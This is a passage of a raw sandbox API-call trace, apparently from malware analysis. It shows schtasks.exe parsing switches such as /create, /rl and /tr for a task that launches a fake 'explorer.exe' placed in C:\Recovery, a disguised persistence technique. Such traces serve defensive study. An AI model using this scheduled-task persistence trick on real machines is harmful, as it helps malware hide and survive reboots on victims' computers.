(dwErrCode=0x0) [0137.957] SetLastError (dwErrCode=0x0) [0137.957] lstrlenW (lpString="'C") returned 2 [0137.957] lstrlenW (lpString="-/") returned 2 [0137.957] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.957] SetLastError (dwErrCode=0x490) [0137.957] SetLastError (dwErrCode=0x490) [0137.957] SetLastError (dwErrCode=0x0) [0137.957] _memicmp (_Buf1=0x25d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.957] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.957] GetProcessHeap () returned 0x240000 [0137.957] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d580) returned 1 [0137.957] GetProcessHeap () returned 0x240000 [0137.957] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25d580, Size=0x80) returned 0x25c350 [0137.957] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.958] lstrlenW (lpString=" \x09") returned 2 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.958] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.961] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0137.962] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0137.962] GetLastError () returned 0x0 [0137.962] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.962] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.962] SetLastError (dwErrCode=0x0) [0137.962] SetLastError (dwErrCode=0x0) [0137.962] lstrlenW (lpString="/rl") returned 3 [0137.962] lstrlenW (lpString="-/") returned 2 [0137.962] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.962] lstrlenW (lpString="create") returned 6 [0137.962] lstrlenW (lpString="create") returned 6 [0137.962] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] lstrlenW (lpString="rl") returned 2 [0137.963] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.963] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.963] lstrlenW (lpString="|create|") returned 8 [0137.963] lstrlenW (lpString="|rl|") returned 4 [0137.963] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0137.963] SetLastError (dwErrCode=0x490) [0137.963] lstrlenW (lpString="?") returned 1 [0137.963] lstrlenW (lpString="?") returned 1 [0137.963] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] lstrlenW (lpString="rl") returned 2 [0137.963] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|?|") returned 3 [0137.963] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.963] lstrlenW (lpString="|?|") returned 3 [0137.963] lstrlenW (lpString="|rl|") returned 4 [0137.963] SetLastError (dwErrCode=0x490) [0137.963] lstrlenW (lpString="s") returned 1 [0137.963] lstrlenW (lpString="s") returned 1 [0137.963] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] lstrlenW (lpString="rl") returned 2 [0137.963] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.963] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|s|") returned 3 [0137.963] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.963] lstrlenW (lpString="|s|") returned 3 [0137.964] lstrlenW (lpString="|rl|") returned 4 [0137.964] SetLastError (dwErrCode=0x490) [0137.964] lstrlenW (lpString="u") returned 1 [0137.964] lstrlenW (lpString="u") returned 1 [0137.964] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.964] lstrlenW (lpString="rl") returned 2 [0137.964] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.964] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|u|") returned 3 [0137.964] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.964] lstrlenW (lpString="|u|") returned 3 [0137.964] lstrlenW (lpString="|rl|") returned 4 [0137.964] SetLastError (dwErrCode=0x490) [0137.964] lstrlenW (lpString="p") returned 1 [0137.964] lstrlenW (lpString="p") returned 1 [0137.964] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.964] lstrlenW (lpString="rl") returned 2 [0137.964] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.964] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|p|") returned 3 [0137.964] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.964] lstrlenW (lpString="|p|") returned 3 [0137.964] lstrlenW (lpString="|rl|") returned 4 [0137.964] SetLastError (dwErrCode=0x490) [0137.964] lstrlenW (lpString="ru") returned 2 [0137.964] lstrlenW (lpString="ru") returned 2 [0137.964] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.964] lstrlenW (lpString="rl") returned 2 [0137.964] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.965] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ru|") returned 4 [0137.965] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.965] lstrlenW (lpString="|ru|") returned 4 [0137.965] lstrlenW (lpString="|rl|") returned 4 [0137.965] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0137.965] SetLastError (dwErrCode=0x490) [0137.965] lstrlenW (lpString="rp") returned 2 [0137.965] lstrlenW (lpString="rp") returned 2 [0137.965] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.965] lstrlenW (lpString="rl") returned 2 [0137.965] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.965] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rp|") returned 4 [0137.965] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.965] lstrlenW (lpString="|rp|") returned 4 [0137.965] lstrlenW (lpString="|rl|") returned 4 [0137.965] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0137.965] SetLastError (dwErrCode=0x490) [0137.965] lstrlenW (lpString="sc") returned 2 [0137.965] lstrlenW (lpString="sc") returned 2 [0137.965] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.965] lstrlenW (lpString="rl") returned 2 [0137.965] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.965] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.965] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.965] lstrlenW (lpString="|sc|") returned 4 [0137.965] lstrlenW (lpString="|rl|") returned 4 [0137.965] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0137.965] SetLastError (dwErrCode=0x490) [0137.966] lstrlenW (lpString="mo") returned 2 [0137.966] lstrlenW (lpString="mo") returned 2 [0137.966] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] lstrlenW (lpString="rl") returned 2 [0137.966] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|mo|") returned 4 [0137.966] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.966] lstrlenW (lpString="|mo|") returned 4 [0137.966] lstrlenW (lpString="|rl|") returned 4 [0137.966] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0137.966] SetLastError (dwErrCode=0x490) [0137.966] lstrlenW (lpString="d") returned 1 [0137.966] lstrlenW (lpString="d") returned 1 [0137.966] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] lstrlenW (lpString="rl") returned 2 [0137.966] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|d|") returned 3 [0137.966] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.966] lstrlenW (lpString="|d|") returned 3 [0137.966] lstrlenW (lpString="|rl|") returned 4 [0137.966] SetLastError (dwErrCode=0x490) [0137.966] lstrlenW (lpString="m") returned 1 [0137.966] lstrlenW (lpString="m") returned 1 [0137.966] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] lstrlenW (lpString="rl") returned 2 [0137.966] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.966] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|m|") returned 3 [0137.967] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.967] lstrlenW (lpString="|m|") returned 3 [0137.967] lstrlenW (lpString="|rl|") returned 4 [0137.967] SetLastError (dwErrCode=0x490) [0137.967] lstrlenW (lpString="i") returned 1 [0137.967] lstrlenW (lpString="i") returned 1 [0137.967] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.967] lstrlenW (lpString="rl") returned 2 [0137.967] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.967] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|i|") returned 3 [0137.967] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.967] lstrlenW (lpString="|i|") returned 3 [0137.967] lstrlenW (lpString="|rl|") returned 4 [0137.967] SetLastError (dwErrCode=0x490) [0137.967] lstrlenW (lpString="tn") returned 2 [0137.967] lstrlenW (lpString="tn") returned 2 [0137.967] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.967] lstrlenW (lpString="rl") returned 2 [0137.967] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.967] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.967] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.967] lstrlenW (lpString="|tn|") returned 4 [0137.967] lstrlenW (lpString="|rl|") returned 4 [0137.967] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0137.967] SetLastError (dwErrCode=0x490) [0137.967] lstrlenW (lpString="tr") returned 2 [0137.967] lstrlenW (lpString="tr") returned 2 [0137.967] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] lstrlenW (lpString="rl") returned 2 [0137.968] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.968] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.968] lstrlenW (lpString="|tr|") returned 4 [0137.968] lstrlenW (lpString="|rl|") returned 4 [0137.968] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0137.968] SetLastError (dwErrCode=0x490) [0137.968] lstrlenW (lpString="st") returned 2 [0137.968] lstrlenW (lpString="st") returned 2 [0137.968] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] lstrlenW (lpString="rl") returned 2 [0137.968] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|st|") returned 4 [0137.968] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.968] lstrlenW (lpString="|st|") returned 4 [0137.968] lstrlenW (lpString="|rl|") returned 4 [0137.968] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0137.968] SetLastError (dwErrCode=0x490) [0137.968] lstrlenW (lpString="sd") returned 2 [0137.968] lstrlenW (lpString="sd") returned 2 [0137.968] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] lstrlenW (lpString="rl") returned 2 [0137.968] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.968] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sd|") returned 4 [0137.968] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.969] lstrlenW (lpString="|sd|") returned 4 [0137.969] lstrlenW (lpString="|rl|") returned 4 [0137.969] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0137.969] SetLastError (dwErrCode=0x490) [0137.969] lstrlenW (lpString="ed") returned 2 [0137.969] lstrlenW (lpString="ed") returned 2 [0137.969] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.969] lstrlenW (lpString="rl") returned 2 [0137.969] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.969] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ed|") returned 4 [0137.969] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.969] lstrlenW (lpString="|ed|") returned 4 [0137.969] lstrlenW (lpString="|rl|") returned 4 [0137.969] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0137.969] SetLastError (dwErrCode=0x490) [0137.969] lstrlenW (lpString="it") returned 2 [0137.969] lstrlenW (lpString="it") returned 2 [0137.969] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.969] lstrlenW (lpString="rl") returned 2 [0137.969] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.969] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|it|") returned 4 [0137.969] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.969] lstrlenW (lpString="|it|") returned 4 [0137.969] lstrlenW (lpString="|rl|") returned 4 [0137.969] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0137.969] SetLastError (dwErrCode=0x490) [0137.969] lstrlenW (lpString="et") returned 2 [0137.969] lstrlenW (lpString="et") returned 2 [0137.969] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] lstrlenW (lpString="rl") returned 2 [0137.970] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|et|") returned 4 [0137.970] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.970] lstrlenW (lpString="|et|") returned 4 [0137.970] lstrlenW (lpString="|rl|") returned 4 [0137.970] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0137.970] SetLastError (dwErrCode=0x490) [0137.970] lstrlenW (lpString="k") returned 1 [0137.970] lstrlenW (lpString="k") returned 1 [0137.970] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] lstrlenW (lpString="rl") returned 2 [0137.970] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|k|") returned 3 [0137.970] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.970] lstrlenW (lpString="|k|") returned 3 [0137.970] lstrlenW (lpString="|rl|") returned 4 [0137.970] SetLastError (dwErrCode=0x490) [0137.970] lstrlenW (lpString="du") returned 2 [0137.970] lstrlenW (lpString="du") returned 2 [0137.970] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] lstrlenW (lpString="rl") returned 2 [0137.970] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.970] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|du|") returned 4 [0137.970] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.970] lstrlenW (lpString="|du|") returned 4 [0137.970] lstrlenW (lpString="|rl|") returned 4 [0137.971] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0137.971] SetLastError (dwErrCode=0x490) [0137.971] lstrlenW (lpString="ri") returned 2 [0137.971] lstrlenW (lpString="ri") returned 2 [0137.971] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.971] lstrlenW (lpString="rl") returned 2 [0137.971] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.971] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ri|") returned 4 [0137.971] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.971] lstrlenW (lpString="|ri|") returned 4 [0137.971] lstrlenW (lpString="|rl|") returned 4 [0137.971] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0137.971] SetLastError (dwErrCode=0x490) [0137.971] lstrlenW (lpString="z") returned 1 [0137.971] lstrlenW (lpString="z") returned 1 [0137.971] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.971] lstrlenW (lpString="rl") returned 2 [0137.971] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.971] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|z|") returned 3 [0137.971] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.971] lstrlenW (lpString="|z|") returned 3 [0137.971] lstrlenW (lpString="|rl|") returned 4 [0137.971] SetLastError (dwErrCode=0x490) [0137.971] lstrlenW (lpString="f") returned 1 [0137.971] lstrlenW (lpString="f") returned 1 [0137.971] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.971] lstrlenW (lpString="rl") returned 2 [0137.972] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.972] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|f|") returned 3 [0137.972] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.972] lstrlenW (lpString="|f|") returned 3 [0137.972] lstrlenW (lpString="|rl|") returned 4 [0137.972] SetLastError (dwErrCode=0x490) [0137.972] lstrlenW (lpString="v1") returned 2 [0137.972] lstrlenW (lpString="v1") returned 2 [0137.972] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.972] lstrlenW (lpString="rl") returned 2 [0137.972] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.972] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|v1|") returned 4 [0137.972] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.972] lstrlenW (lpString="|v1|") returned 4 [0137.972] lstrlenW (lpString="|rl|") returned 4 [0137.972] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0137.972] SetLastError (dwErrCode=0x490) [0137.972] lstrlenW (lpString="xml") returned 3 [0137.972] lstrlenW (lpString="xml") returned 3 [0137.972] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.972] lstrlenW (lpString="rl") returned 2 [0137.972] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.972] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|xml|") returned 5 [0137.972] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rl|") returned 4 [0137.972] lstrlenW (lpString="|xml|") returned 5 [0137.972] lstrlenW (lpString="|rl|") returned 4 [0137.973] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0137.973] SetLastError (dwErrCode=0x490) [0137.973] lstrlenW (lpString="ec") returned 2 [0137.973] lstrlenW (lpString="ec") returned 2 [0137.973] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.973] lstrlenW 